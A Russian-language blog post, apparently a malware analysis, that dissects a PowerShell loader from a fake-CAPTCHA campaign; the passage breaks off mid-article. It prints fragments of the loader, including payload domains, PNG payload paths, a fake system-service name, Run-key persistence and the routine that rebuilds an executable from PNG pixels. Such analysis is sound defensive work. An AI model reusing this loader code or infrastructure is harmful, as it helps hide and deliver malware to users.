{"id":493017,"date":"2026-09-01T07:29:48","date_gmt":"2026-09-01T07:29:48","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=493017"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=493017","title":{"rendered":"TerminalFix \u0438 \u0444\u0435\u0439\u043a\u043e\u0432\u0430\u044f Cloudflare CAPTCHA: \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u044e PowerShell, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u044f\u0447\u0435\u0442 EXE \u0438 DLL \u0432 PNG"},"content":{"rendered":"
\n

\u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u043c\u043d\u043e\u0433\u0438\u0435 \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0445\u043e\u0442\u044f \u0431\u044b \u0441\u043b\u044b\u0448\u0430\u043b\u0438 \u043f\u0440\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a, \u0433\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u0443\u044e \u0444\u0435\u0439\u043a\u043e\u0432\u0443\u044e Cloudflare CAPTCHA, \u0430 \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u00ab\u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\u00bb.<\/p>\n

\u0421\u0445\u0435\u043c\u0430 \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043d\u043e\u0432\u0430\u044f. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u044f \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0443\u0434\u0438\u0432\u043b\u044e\u0441\u044c, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u0441\u043a\u0430\u0436\u0435\u0442: \u00ab\u0414\u0430 \u043c\u044b \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b\u0438\u00bb. \u0418 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0430\u0432. \u041d\u043e, \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u0441\u0442\u0430\u0440\u044b\u0435 \u0438\u0434\u0435\u0438 \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u044e\u0442 \u0438\u0437 \u0448\u043a\u0430\u0444\u0430, \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043a\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442 \u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0432 \u0445\u043e\u0434.<\/p>\n

\u0412\u0441\u044f \u044d\u0442\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u043f\u044f\u0442\u044c \u0443\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0432\u0435\u0449\u044c \u2014 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/strong>. \u0415\u0441\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0441\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u0442\u043e, \u0447\u0442\u043e \u0435\u043c\u0443 \u043f\u043e\u0434\u0441\u0443\u043d\u0443\u043b\u0438, \u0434\u0430\u043b\u044c\u0448\u0435 \u0437\u0430\u0449\u0438\u0442\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0443\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0441\u0438\u043b\u044c\u043d\u043e \u043f\u043e\u043c\u043e\u0447\u044c.<\/p>\n

\u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043c\u043d\u0435 \u043f\u043e\u043f\u0430\u043b\u0441\u044f \u0444\u0430\u0439\u043b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439 TerminalFix<\/strong>. \u041d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u043d \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043d\u0435\u0437\u0430\u0442\u0435\u0439\u043b\u0438\u0432\u043e:<\/p>\n

0fa1d62be17c1589a778f4bf25fa8ced211369fc.ps1.bin<\/code>
<\/a><\/div><\/pre>\n
\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 .bin<\/code> \u0437\u0434\u0435\u0441\u044c, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PowerShell. \u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u044f \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u0434\u0443\u043c\u0430\u043b, \u0447\u0442\u043e \u0441\u0435\u0439\u0447\u0430\u0441 \u0431\u0443\u0434\u0435\u0442 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 \u043f\u0430\u0440\u0443 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u0441\u0442\u0440\u043e\u043a \u0441 IEX<\/code>, FromBase64String<\/code> \u0438 \u043f\u0440\u043e\u0447\u0435\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u043e\u0439 \u0436\u0430\u043d\u0440\u0430.<\/p>\n
\u041d\u043e \u043d\u0435\u0442. \u0417\u0434\u0435\u0441\u044c \u0440\u0435\u0448\u0438\u043b\u0438 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435.<\/p>\n
PowerShell \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 PNG, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u043a\u0430\u043a \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u043f\u0438\u043a\u0441\u0435\u043b\u044f\u043c, \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u0437 \u043d\u0438\u0445 \u0431\u0430\u0439\u0442\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b. \u0410 \u043f\u043e\u0442\u043e\u043c \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437. \u0412 \u043e\u0431\u0449\u0435\u043c, \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PowerShell \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0440\u0435\u0448\u0438\u043b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0431\u044b\u0442\u044c \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043e\u0440\u043e\u043c.<\/p>\n
\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a<\/h3>\n
\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0434\u0432\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:<\/p>\n
$contentDomains = @(    \"bestsocialmedianewspapper.com\",    \"offlineupdater.com\")<\/code>
<\/a><\/div><\/pre>\n
\u0421\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443: \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0437\u0430\u0431\u0430\u0432\u043d\u044b\u0435.<\/p>\n
\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e bestsocialmedianewspapper.com<\/code><\/a>. \u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0434\u043e\u043c\u0435\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u0442\u043e-\u0442\u043e \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b \u0437\u0430 \u043f\u044f\u0442\u044c \u043c\u0438\u043d\u0443\u0442 \u0434\u043e \u0434\u0435\u0434\u043b\u0430\u0439\u043d\u0430. \u041d\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435. \u0421\u043a\u0440\u0438\u043f\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0440\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0430:<\/p>\n
$imageUrl1 = \"\/api\/zX9cV7bN5mQ2wA4sD6fG8hJ1kL3pO0?filename=QANI3O7YPM59wwr8jwfB8iJV6P8AaaBaz56RrXup.png\"$imageUrl2 = \"\/api\/zX9cV7bN5mQ2wA4sD6fG8hJ1kL3pO0?filename=b9SGYS6QMqQ1wm2awfiXmaeXj0FYfQrKZY4oUcP4.png\"$imageUrl3 = \"\/api\/zX9cV7bN5mQ2wA4sD6fG8hJ1kL3pO0?filename=9KBgTxBOhM5kQ6wypbbZcQHzwzVUoiNv0WE5vKEa.png\"<\/code>
<\/a><\/div><\/pre>\n
\u0421\u0430\u043c\u0438 \u0438\u043c\u0435\u043d\u0430 PNG \u043d\u0438\u0447\u0435\u0433\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0435 \u0434\u0430\u044e\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.\u0414\u0430\u043b\u044c\u0448\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0434\u043b\u044f Windows \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e:<\/p>\n
$outputBasePath = [Environment]::GetFolderPath(\"CommonApplicationData\")<\/code>
<\/a><\/div><\/pre>\n
\u041d\u0430 \u043e\u0431\u044b\u0447\u043d\u043e\u0439 Windows \u044d\u0442\u043e:<\/p>\n
C:\\ProgramData<\/code>
<\/a><\/div><\/pre>\n
\u0410 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0451 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d \u043a\u0430\u0442\u0430\u043b\u043e\u0433:<\/p>\n
WindowsLogonKeyManager_<\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b><\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u0443\u0436\u0435 \u043d\u0430 \u0441\u0442\u0430\u0440\u0442\u0435 \u0430\u0432\u0442\u043e\u0440 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0441\u0451 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442.<\/p>\n
\u041d\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u0440\u0430\u0441\u0438\u0432\u044b\u0445 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0439<\/h3>\n
\u0412\u043e\u0442 \u044d\u0442\u043e \u043c\u043d\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u043e\u0441\u044c:<\/p>\n
$serviceName = \"Windows Logon Key Manager\"$displayName = \"Manages secure logon key storage and authentication\"<\/code>
<\/a><\/div><\/pre>\n
\u0417\u0432\u0443\u0447\u0438\u0442 \u0441\u043e\u043b\u0438\u0434\u043d\u043e.<\/p>\n
\u041f\u0440\u044f\u043c\u043e \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u043f\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0435\u0439\u0447\u0430\u0441 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0441\u044f \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u0432\u0430\u0436\u043d\u044b\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.<\/p>\n
\u041d\u043e \u0435\u0441\u0442\u044c \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430.<\/p>\n
\u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442.<\/strong><\/p>\n
\u042d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435.<\/p>\n
\u041f\u0440\u0438\u0447\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435 \u0441\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 Windows Service. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run<\/code>.<\/p>\n
\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f: \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0447\u0435\u043c-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u043c \u2014 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0443\u0436\u0435 \u0433\u043e\u0442\u043e\u0432\u0430.<\/p>\n
\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 PNG<\/h2>\n
\u0412\u043e\u0442 \u0437\u0434\u0435\u0441\u044c \u044f \u0443\u0436\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0447\u0443\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435.<\/p>\n
\u0417\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044f:<\/p>\n
function Extract-RawFileFromImage {<\/code>
<\/a><\/div><\/pre>\n
\u041e\u043d\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 System.Drawing<\/code>:<\/p>\n
Add-Type -AssemblyName System.Drawing<\/code>
<\/a><\/div><\/pre>\n
\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443:<\/p>\n
$bmp = New-Object System.Drawing.Bitmap $ImagePath<\/code>
<\/a><\/div><\/pre>\n
\u041d\u0430 \u044d\u0442\u043e\u043c \u043c\u043e\u043c\u0435\u043d\u0442\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0443\u043c\u0430\u0442\u044c:<\/p>\n
\n
\u041d\u0443 PNG \u0438 PNG. \u041c\u043e\u0436\u0435\u0442, \u043f\u0440\u043e\u0441\u0442\u043e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u0434\u043b\u044f \u043e\u0442\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f?<\/p>\n<\/blockquote>\n
\u041d\u0435\u0442.<\/p>\n
\u0414\u0430\u043b\u044c\u0448\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0438\u043a\u0441\u0435\u043b\u044c<\/strong>:<\/p>\n
for ($y = 0; $y -lt $bmp.Height; $y++) {    for ($x = 0; $x -lt $bmp.Width; $x++) {        $c = $bmp.GetPixel($x, $y)        $ms.WriteByte([byte]$c.R)        $ms.WriteByte([byte]$c.G)        $ms.WriteByte([byte]$c.B)        $ms.WriteByte([byte]$c.A)    }}<\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u0431\u0435\u0440\u0443\u0442\u0441\u044f \u0447\u0435\u0442\u044b\u0440\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:<\/p>\n
RGBA<\/code>
<\/a><\/div><\/pre>\n
\u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 MemoryStream<\/code>.<\/p>\n
\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430:<\/p>\n
PNG \u2193\u043f\u0438\u043a\u0441\u0435\u043b\u0438 \u2193R G B AR G B AR G B AR G B A \u2193\u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0430\u0439\u0442\u043e\u0432 \u2193payload<\/code>
<\/a><\/div><\/pre>\n
\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 PNG \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u043e\u0439.<\/p>\n
\u041f\u043e \u0441\u0443\u0442\u0438, \u044d\u0442\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440.<\/p>\n
\u0413\u0434\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b<\/h2>\n
\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0441\u0435\u0445 \u043f\u0438\u043a\u0441\u0435\u043b\u0435\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u0430\u0441\u0441\u0438\u0432:<\/p>\n
$allBytes = $ms.ToArray()<\/code>
<\/a><\/div><\/pre>\n
\u041d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043e\u043d \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.<\/p>\n
\u041f\u0435\u0440\u0432\u044b\u0435 \u0432\u043e\u0441\u0435\u043c\u044c \u0431\u0430\u0439\u0442 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043a\u0430\u043a Int64<\/code>:<\/p>\n
$dataLength = [BitConverter]::ToInt64($allBytes, 0)<\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0438 \u044d\u0442\u043e\u0433\u043e \u00ab\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u00bb \u043b\u0435\u0436\u0438\u0442 \u0435\u0449\u0451 \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/p>\n
\u0423\u0441\u043b\u043e\u0432\u043d\u043e:<\/p>\n
+------------------+---------------------------+| 8 \u0431\u0430\u0439\u0442            | payload                   || \u0440\u0430\u0437\u043c\u0435\u0440 payload    | \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b   |+------------------+---------------------------+<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0440\u0430\u0437\u043c\u0435\u0440 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u0430\u0441\u0441\u0438\u0432\u0430:<\/p>\n
if ($dataLength -gt ($allBytes.Length - 8)) {    throw \"Invalid data length specified in image\"}<\/code>
<\/a><\/div><\/pre>\n
\u0418 \u0437\u0430\u0442\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f:<\/p>\n
[System.IO.File]::WriteAllBytes(    $OutputFilePath,    $allBytes[8..(7 + $dataLength)])<\/code>
<\/a><\/div><\/pre>\n
\u0422\u043e \u0435\u0441\u0442\u044c \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043c\u0430\u0433\u0438\u0438.<\/p>\n
\u0415\u0441\u0442\u044c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430, \u0435\u0441\u0442\u044c \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0430\u0439\u0442\u043e\u0432, \u043f\u0435\u0440\u0432\u044b\u0435 8 \u0431\u0430\u0439\u0442 \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0440\u0430\u0442\u044c, \u0432\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 payload.<\/p>\n
\u041f\u0435\u0440\u0432\u044b\u0439 PNG \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 EXE<\/h2>\n
\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441 \u043f\u0435\u0440\u0432\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c.<\/p>\n
\u0421\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043f\u0443\u0442\u044c:<\/p>\n
$fullExePath = Join-Path $fullFolderPath \"LockScreenContentServer.exe\"<\/code>
<\/a><\/div><\/pre>\n
\u0410 \u043f\u043e\u0442\u043e\u043c:<\/p>\n
Extract-RawFileFromImage `    -ImagePath $fullImagePath1 `    -OutputFilePath $fullExePath<\/code>
<\/a><\/div><\/pre>\n
\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f:<\/p>\n
PNG \u2193\u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0431\u0430\u0439\u0442\u043e\u0432 \u2193LockScreenContentServer.exe<\/code>
<\/a><\/div><\/pre>\n
\u0421\u0430\u043c\u043e \u0438\u043c\u044f LockScreenContentServer.exe<\/code> \u0442\u043e\u0436\u0435 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.<\/p>\n
\u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a, \u0431\u0443\u0434\u0442\u043e \u044d\u0442\u043e \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0448\u0442\u0430\u0442\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Windows, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u044d\u043a\u0440\u0430\u043d\u043e\u043c \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438.<\/p>\n
\u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430.<\/p>\n
\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043d\u0435 \u0441\u0442\u0430\u043b \u043f\u0440\u0438\u0434\u0443\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0432\u0440\u043e\u0434\u0435 super_malware_final_v7.exe<\/code>. \u0417\u0430\u0447\u0435\u043c? \u041d\u0430\u043c\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043a\u0443\u0447\u043d\u043e \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e.<\/p>\n
\u0410 \u0442\u0435\u043f\u0435\u0440\u044c DLL \u0440\u0430\u0437\u0440\u0435\u0436\u0435\u043c \u043f\u043e\u043f\u043e\u043b\u0430\u043c<\/h2>\n
\u0421 \u043f\u0435\u0440\u0432\u044b\u043c PNG \u0432\u0441\u0451 \u043f\u043e\u043d\u044f\u0442\u043d\u043e.<\/p>\n
